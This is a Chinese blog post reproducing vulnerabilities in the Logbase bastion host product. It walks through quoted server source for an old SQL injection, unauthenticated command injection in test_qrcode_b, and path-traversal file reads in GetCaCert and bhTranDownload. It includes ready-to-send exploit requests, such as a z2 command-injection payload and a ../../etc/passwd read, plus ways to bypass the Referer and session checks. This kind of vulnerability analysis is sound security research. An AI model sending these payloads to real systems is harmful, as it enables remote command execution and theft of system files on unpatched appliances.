Logbase思迪福堡垒机漏洞复现
本文最后更新于 288 天前,其中的信息可能已经有所发展或是发生改变。
去年12月中旬爆出来了 RCE 的漏洞,当时简单看了下,交了几个 edusrc 就过去了,公网上现在应该都修复完了,现在有时间了看看代码

1.user_add.py 中的 repeat_get_usb_status 未授权 SQL 注入漏洞

@user_add.route('/repeat_get_usb_status',methods=['GET','POST'])
def repeat_get_usb_status():
    session = request.form.get('a0')
    sesstime = request.form.get('z1')
    ...
    try:
        sql = "select \"Status\" from private.\"USBKeyResult\" where \"SessTime\" = '%s';" %(MySQLdb.escape_string(sesstime));
        curs.execute(sql)
    ...

这个漏洞很早了,两三年前的吧,上面的是修复过的代码,可以看到 sql 在拼接的时候用 MySQLdb.escape_string() 处理了,之前是直接拼接的

大致扫了下,其他地方的 sql 语句拼接前基本上都有强制类型转换和 MySQLdb.escape_string() 处理,应该是没有 SQL 注入了?


2.get_qrcode.py 中的 test_qrcode_b 未授权 RCE 漏洞

@get_qrcode.route('/test_qrcode_b',methods=['GET', 'POST'])
def test_qrcode_b():
    totp_v = request.form.get('z1')
    secret = request.form.get('z2')
    user_account = request.form.get('z3')
    if checkaccountForLogin(user_account) == False:
        return '{\"Result\":false,\"secret\":\"\","img":""}'

    user_account = GetuCode(user_account).lower();

    cmd = 'java -jar -Djava.awt.headless=true /flash/system/appr/botp_auth.jar 1 "' +secret+ '" "' +totp_v+ '"'
    r = os.popen(cmd)
    text = r.read()
    r.close()
    if text == "true":
        try:
            with pyodbc.connect(StrSqlConn('BH_CONFIG')) as conn,conn.cursor() as curs:
                sql = "UPDATE public.\"User\" SET \"SecretKey1\"=\'%s\' WHERE \"UserCode\"='%s'" % (MySQLdb.escape_string(str(secret)),MySQLdb.escape_string(user_account))
                curs.execute(sql)
        except pyodbc.Error,e:
            return "{\"Result\":false,\"ErrMsg\":\"系统异常: %s(%d)\"}" % (ErrorEncode(e.args[1]),sys._getframe().f_lineno)
    return text

totp_vsecret 接收用户输入的参数并直接拼接到 cmd 中,然后 os.popen() 执行

所以网上流传的 POC 是在 z2 上实现命令注入

POST /bhost/test_qrcode_b HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip, deflate, br
Accept: gzip
Connection: close
Referer: 
Content-Type: application/x-www-form-urlencoded

z1=1&z2="|id;"&z3=bhost

但其实 z1z2 都是一样的

至于 z3,符合 checkaccountForLogin 即可

#账号 邮箱 手机
def checkaccountForLogin(account):
    p = re.compile(u'^[\w#\.\-\u4E00-\u9FA5@_]+$')
    if p.match(account):
        return True
    else:
        return False

同时注意 Referer 头,如果不加,就会返回 403 FORBIDDEN,找了下应该是在 login.py 的 request_check()

@app.before_request
def request_check():
...
###获取 HTTP_REFERER 
        refer_url_tmp = request.referrer;
        if refer_url_tmp == None:
            if path_url == '/index':
                return render_template('err404.html',jump='/'),403
            else:
                return render_template('err403.html'),403
            sys.exit();
        else:
            refer_url = refer_url_tmp.split("/")[2].split(':')[0];
...

往上翻了翻,发现除了 test_qrcode_b 外,还有一个地方也调了 os.popen(),但是被 checkaccountForLogin 限制死了,没办法利用

def create_qrcode1(username):
    cmd = 'java -jar -Djava.awt.headless=true /flash/system/appr/botp_auth.jar 0 "' +username+ '"'
    r = os.popen(cmd)
    text = r.read()
    r.close()
    return text

@get_qrcode.route('/get_qrcode_img_b',methods=['GET', 'POST'])
def get_qrcode_img_b():
    user_account = request.form.get('z1')
    if checkaccountForLogin(user_account) == False:
        return '{\"Result\":false,\"secret\":\"\","img":""}'
    user_account = GetuCode(user_account).lower();
    #valid_codes =get_totp_token(secret)
    secret = create_qrcode1(user_account)
    return '{\"Result\":true, "secret":"' +secret.split('\n')[0]+ '", "img":"/manage/images/botp_code.jpg"}'

3.login.py 中的 GetCaCert 未授权任意文件读取漏洞

@app.route("/GetCaCert", methods=['GET', 'POST'])
def GetCaCert():
    headers  = str(request.headers) ;
    debug(headers)
    '''
    if str(headers).find('Name')< 0:
        return '',400;

    Name = headers.split('Name')[1].split()[1];
    '''
    if headers.find("a1") < 0:
        Name = request.args.get('a1')
    else:
        Name = headers.split('a1',0)[1].split()[1];

    try:
        if os.path.exists('/usr/etc/'+Name):
            fp = open('/usr/etc/'+Name,'r');
            a = base64.b64encode(fp.read());
            return a,200
        else:
            return '',400
    except pyodbc.Error,e:
        return '',400

这个也很容易发现,Name 接收了传递进来的 a1,然后直接拼接进 open(),再以 base64 编码的形式返回

GET /bhost/GetCaCert?a1=../../../../../etc/passwd HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip, deflate, br
Accept: gzip
Connection: close
Referer:

4.tran.py 中的 bhTranDownload 未授权任意文件读取

这个应该也是老的,参考了《Logbase思迪福堡垒机漏洞分析》,因为我手上的源码已经修复这个地方了

@tran.route("/bhTranDownload", methods=['GET', 'POST'])
def bhTranDownload():
    headers  = str(request.headers) ;
    ##解析头文件
    try:
        ret,Filename,Session,Path,Method,Offset,Content_Length,sesstimet = parseHeader(headers);
        if ret < 0:
            return' -1';
    except Exception,e:
        return '-1';
    Path = base64.b64decode(Path);
    try:
        Filename_tmp = base64.b64decode(base64.b64decode(Filename));
        FilePath = Path + '/' + Filename_tmp;
        if os.path.exists(FilePath) == False:
            Filename = base64.b64decode(Filename)
        else:
            Filename = Filename_tmp

    except:
        Filename = base64.b64decode(Filename)
    if check_path(Path) == False and Filename !='cf_tnsora':
        return '-1',403;
if Path.find("/software") >=0 or Method =='GetSize' or Filename =='cf_tnsora': ###系统自动升级 没有session
        pass
else:
    client_ip = GetClientIp(request);
    (error,userCode,mac,lock) = SessionCheck(Session,client_ip);

请求头里需要包含 Filename,Session,Path,Offset,Content_Length,sesstimet 这些字段,同时只要注意满足 if 的第一个条件,不进入 else 的验证就可以未授权读了

def check_path(path):
    for one in list_path:
        if path.find(one) >=0:
            return True
    return False

list_path = ['/usr/storage/.system/upload','/usr/storage/.system/replay','/usr/storage/.system/software','/usr/storage/.system/update','/usr/storage/.system/config/backup','/usr/storage/.system/dwload','/usr/storage/.system/passwd','/usr/storage/.system/backup','/usr/storage/.system/transf','/usr/ssl/certs','/usr/storage/.system/archive']

根据代码,将 Path 的值固定为 base64.b64encode(''/usr/storage/.system/software') 就可以

最后的文件读取依靠 PathFilename 完成,Filename 目录回溯一下,同理经过 base64 编码就可以

if Filename.find('./') >=0 or Filename.find('../') >=0 :
    return '-1',403;
FilePath = Path + '/' + Filename;
##判断文件是否存在
if os.path.exists(FilePath) == False:
    return '-1';

if Method == "": ## 下载
    ##每次读取文件的 8k  8 * 1024
    try:
        with open(FilePath, 'rb') as fp:
            fp.seek(int(Offset));
            data = fp.read(MAX_SIZE);
        return data;
    except Exception,e:
        return '-1';

修复后的代码里,在 FilePath 拼接赋值前多了个过滤检查代码,寄了


上面的洞都是未授权的,也就是代码中不包含(执行) SessionCheck(),但是这个函数全局搜索也没找到在哪😓 (°ー°〃)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇